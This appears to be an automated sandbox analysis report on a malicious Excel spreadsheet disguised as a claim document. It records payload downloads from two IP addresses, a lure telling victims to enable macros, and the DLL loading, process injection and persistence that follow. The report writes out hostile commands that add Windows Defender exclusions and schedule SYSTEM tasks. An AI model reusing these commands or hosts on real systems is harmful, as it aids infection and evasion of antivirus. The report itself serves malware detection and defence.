Source: global traffic	HTTP traffic detected: GET /44466.4649013889.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 111.90.148.104Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44466.4649013889.dat HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 51.89.115.111Connection: Keep-Alive

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: ENABLE EDITING" button to unlock the document downloaded from the Internet. 38 n ^l: i ffmn i a ml
Source: Screenshot number: 4	Screenshot OCR: Document is Protected 18 19 20 21 VIEW COMPLETED DOCUMENT 22 23 24 25 26 27 :: THE STEPS
Source: Document image extraction number: 0	Screenshot OCR: ENABLE EDITING" button to unlock the document downloaded from the Internet. 2. Click on "ENABLE CON
Source: Document image extraction number: 0	Screenshot OCR: Document is Protected VIEW COMPLE ILD DOCUMENT THE STEPS ARE REQUIRED TO FULLY DECRYPT THE DOCUMEN
Source: Document image extraction number: 0	Screenshot OCR: ENABLE CONTENT" button to perform Microsoft Exel Decryption Core to start the decryption of the doc
Source: Document image extraction number: 1	Screenshot OCR: ENABLE EDITING" button to unlock the document downloaded from the Internet. 2. Click on "ENABLE CON
Source: Document image extraction number: 1	Screenshot OCR: Document is Protected VIEW COMPLETED DOCUMENT THE STEPS ARE REQUIRED TO FULLY DECRYPT THE DOCUMENT
Source: Document image extraction number: 1	Screenshot OCR: ENABLE CONTENT" button to perform Microsoft Exel Decryption Core to start the decryption of the doc

Office process drops PE file

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[2].dat	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[3].dat	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\Fiosa2.der
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\Fiosa.der
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\Fiosa1.der
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[1].dat	Jump to dropped file

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_10016EB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_10012346
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_10011758
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_10014FC0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_00096EB0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_00092346
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_00091758
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_00094FC0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_00096EB0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_00092346
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_00091758
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_00094FC0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00096EB0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00092346
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00091758
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 17_2_00094FC0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 23_2_00096EB0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 23_2_00092346
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 23_2_00091758
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 23_2_00094FC0

Source: Claim-838392655-09242021.xls	OLE, VBA macro line: Sub auto_open()
Source: Claim-838392655-09242021.xls	OLE, VBA macro line: Sub auto_close()
Source: Claim-838392655-09242021.xls	OLE, VBA macro line: Private m_openAlreadyRan As Boolean
Source: Claim-838392655-09242021.xls	OLE, VBA macro line: Private Sub saWorkbook_Opensa()
Source: Claim-838392655-09242021.xls	OLE, VBA macro line: m_openAlreadyRan = True

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_1000C6C0 NtCreateSection,DefWindowProcA,RegisterClassExA,CreateWindowExA,DestroyWindow,UnregisterClassA,GetCurrentProcess,NtMapViewOfSection,NtMapViewOfSection,VirtualAllocEx,WriteProcessMemory,GetCurrentProcess,NtUnmapViewOfSection,NtClose,
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_1000CB77 memset,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,FreeLibrary,

Source: C:\Windows\SysWOW64\regsvr32.exe

Process Stats: CPU usage > 98%

Source: Fiosa2.der.23.dr	Static PE information: No import functions for PE file found
Source: Fiosa.der.8.dr	Static PE information: No import functions for PE file found
Source: Fiosa.der.17.dr	Static PE information: No import functions for PE file found
Source: Fiosa1.der.14.dr	Static PE information: No import functions for PE file found

Source: C:\Windows\SysWOW64\explorer.exe

Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Yiiocubi' /d '0'

Source: Claim-838392655-09242021.xls

OLE indicator, VBA macros: true

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76F90000 page execute and read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E90000 page execute and read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76F90000 page execute and read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E90000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 76F90000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 76E90000 page execute and read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76F90000 page execute and read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E90000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 76F90000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 76E90000 page execute and read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76F90000 page execute and read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E90000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 76F90000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 76E90000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 76F90000 page execute and read and write
Source: C:\Windows\SysWOW64\explorer.exe	Memory allocated: 76E90000 page execute and read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76F90000 page execute and read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E90000 page execute and read and write

Source: 44466.4649013889[1].dat.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: Fiosa.der.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 44466.4649013889[2].dat.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: Fiosa1.der.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 44466.4649013889[3].dat.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: Fiosa2.der.0.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: Claim-838392655-09242021.xls

ReversingLabs: Detection: 26%

Source: C:\Windows\System32\regsvr32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ....................h.4..........&`.....(.P.....$.......d.................................................................................4.....
Source: C:\Windows\System32\reg.exe	Console Write: ................T...............T.h.e. .o.p.e.r.a.t.i.o.n. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y...........!.....N.......(...............
Source: C:\Windows\System32\reg.exe	Console Write: ................................T.h.e. .o.p.e.r.a.t.i.o.n. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y.................N.......(...............

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Fiosa.der
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Fiosa.der
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Fiosa1.der
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Fiosa1.der
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn pmdfegez /tr 'regsvr32.exe -s \'C:\Users\user\Fiosa.der\'' /SC ONCE /Z /ST 11:12 /ET 11:24
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s 'C:\Users\user\Fiosa.der'
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Fiosa.der'
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Fiosa2.der
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Fiosa2.der
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Yiiocubi' /d '0'
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\Nqsaq' /d '0'
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe -s 'C:\Users\user\Fiosa.der'
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Fiosa.der'
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Fiosa.der
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Fiosa1.der
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 -silent ..\Fiosa2.der
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Fiosa.der
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Fiosa1.der
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn pmdfegez /tr 'regsvr32.exe -s \'C:\Users\user\Fiosa.der\'' /SC ONCE /Z /ST 11:12 /ET 11:24
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Fiosa.der'
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -silent ..\Fiosa2.der
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\ProgramData\Microsoft\Yiiocubi' /d '0'
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\System32\reg.exe C:\Windows\system32\reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' /f /t REG_DWORD /v 'C:\Users\user\AppData\Roaming\Microsoft\Nqsaq' /d '0'
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s 'C:\Users\user\Fiosa.der'

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Application Data\Microsoft\Forms

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRF640.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.expl.evad.winXLS@33/11@0/3

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 5_2_1000D523 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,SysAllocString,CoSetProxyBlanket,

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: Claim-838392655-09242021.xls

OLE indicator, Workbook stream: true

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 5_2_1000ABA3 CreateToolhelp32Snapshot,memset,Process32First,Process32Next,CloseHandle,

Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\{F85A5564-6426-431B-8FD7-40D6BA7A0742}
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\{8104B8A2-C368-4EFF-95B0-548F91E45474}
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{F85A5564-6426-431B-8FD7-40D6BA7A0742}
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \BaseNamedObjects\{4A0245B3-5BF6-4A12-A3B4-3B388E7369A5}
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \BaseNamedObjects\{8104B8A2-C368-4EFF-95B0-548F91E45474}
Source: C:\Windows\SysWOW64\explorer.exe	Mutant created: \BaseNamedObjects\Global\{4A0245B3-5BF6-4A12-A3B4-3B388E7369A5}

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 5_2_1000A51A FindResourceA,

Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Window found: window name: SysTabControl32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source:

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_1002202C push es; ret
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_10021C96 pushad ; iretd
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_10026CE9 push dword ptr [esp+eax*4+38h]; iretd
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_10026105 push edi; ret
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_1002514B pushad ; iretd
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_10027D58 pushfd ; ret
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_10027679 push es; ret
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_10023B27 push es; retf
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_10022F6D push eax; retf
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_10022FAA push eax; retf
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_1002202C push es; ret
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_10021C96 pushad ; iretd
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_10026CE9 push dword ptr [esp+eax*4+38h]; iretd
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_10026105 push edi; ret
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_1002514B pushad ; iretd
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_10027D58 pushfd ; ret
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_10027679 push es; ret
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_10023B27 push es; retf
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_10022F6D push eax; retf
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 7_2_10022FAA push eax; retf
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_0009A00E push ebx; ret
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_0009D485 push FFFFFF8Ah; iretd
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_0009D4B6 push FFFFFF8Ah; iretd
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_00099D5C push cs; iretd
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_00099E5E push cs; iretd
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 8_2_0009BB29 push esi; iretd
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_1002202C push es; ret
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_10021C96 pushad ; iretd
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_10026CE9 push dword ptr [esp+eax*4+38h]; iretd
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_10026105 push edi; ret
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 12_2_1002514B pushad ; iretd

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 5_2_10012AEC GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,

Source: Fiosa2.der.23.dr	Static PE information: real checksum: 0x7fed4 should be: 0x816c9
Source: Fiosa.der.8.dr	Static PE information: real checksum: 0x7fed4 should be: 0x101479
Source: Fiosa.der.17.dr	Static PE information: real checksum: 0x7fed4 should be: 0x816c9
Source: Fiosa1.der.14.dr	Static PE information: real checksum: 0x7fed4 should be: 0x816c9

Persistence and Installation Behavior:

Uses cmd line tools excessively to alter registry or file data

Show sources

Source: C:\Windows\SysWOW64\explorer.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\explorer.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\explorer.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\explorer.exe	Process created: reg.exe

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\Fiosa.der
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\Fiosa1.der
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\Fiosa2.der
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Fiosa.der
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Fiosa1.der	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Fiosa.der	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Fiosa2.der	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[2].dat	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[3].dat	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Fiosa2.der	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Fiosa.der	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Fiosa1.der	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[1].dat	Jump to dropped file

Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Fiosa2.der	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Fiosa.der	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Fiosa1.der	Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Fiosa2.der	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Fiosa.der	Jump to dropped file
Source: C:\Windows\SysWOW64\explorer.exe	File created: C:\Users\user\Fiosa1.der	Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Windows\SysWOW64\explorer.exe

Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn pmdfegez /tr 'regsvr32.exe -s \'C:\Users\user\Fiosa.der\'' /SC ONCE /Z /ST 11:12 /ET 11:24

Hooking and other Techniques for Hiding and Protection:

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 2592 base: 9C102D value: E9 BA 4C 6C FF
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 3060 base: 9C102D value: E9 BA 4C 6C FF
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 536 base: 9C102D value: E9 BA 4C 6C FF
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 2100 base: 9C102D value: E9 BA 4C 6C FF

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\explorer.exe	Process information set: NOOPENFILEERRORBOX

Source: Claim-838392655-09242021.xls

Stream path 'Workbook' entropy: 7.94597570807 (max. 8.0)

Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1960	Thread sleep count: 47 > 30
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2984	Thread sleep count: 46 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 2616	Thread sleep time: -148000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2944	Thread sleep count: 49 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 1308	Thread sleep count: 82 > 30
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2420	Thread sleep count: 47 > 30
Source: C:\Windows\SysWOW64\explorer.exe TID: 788	Thread sleep time: -116000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 572	Thread sleep count: 57 > 30

Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[2].dat	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[3].dat	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\44466.4649013889[1].dat	Jump to dropped file

Source: C:\Windows\SysWOW64\regsvr32.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 5_2_1000D01F GetCurrentProcessId,GetModuleFileNameW,GetCurrentProcess,GetCurrentProcess,LookupAccountSidW,GetLastError,GetLastError,GetModuleFileNameW,GetLastError,MultiByteToWideChar,GetCurrentProcess,memset,GetVersionExA,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetWindowsDirectoryW,

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 5_2_1000AEB4 FindFirstFileW,FindNextFileW,
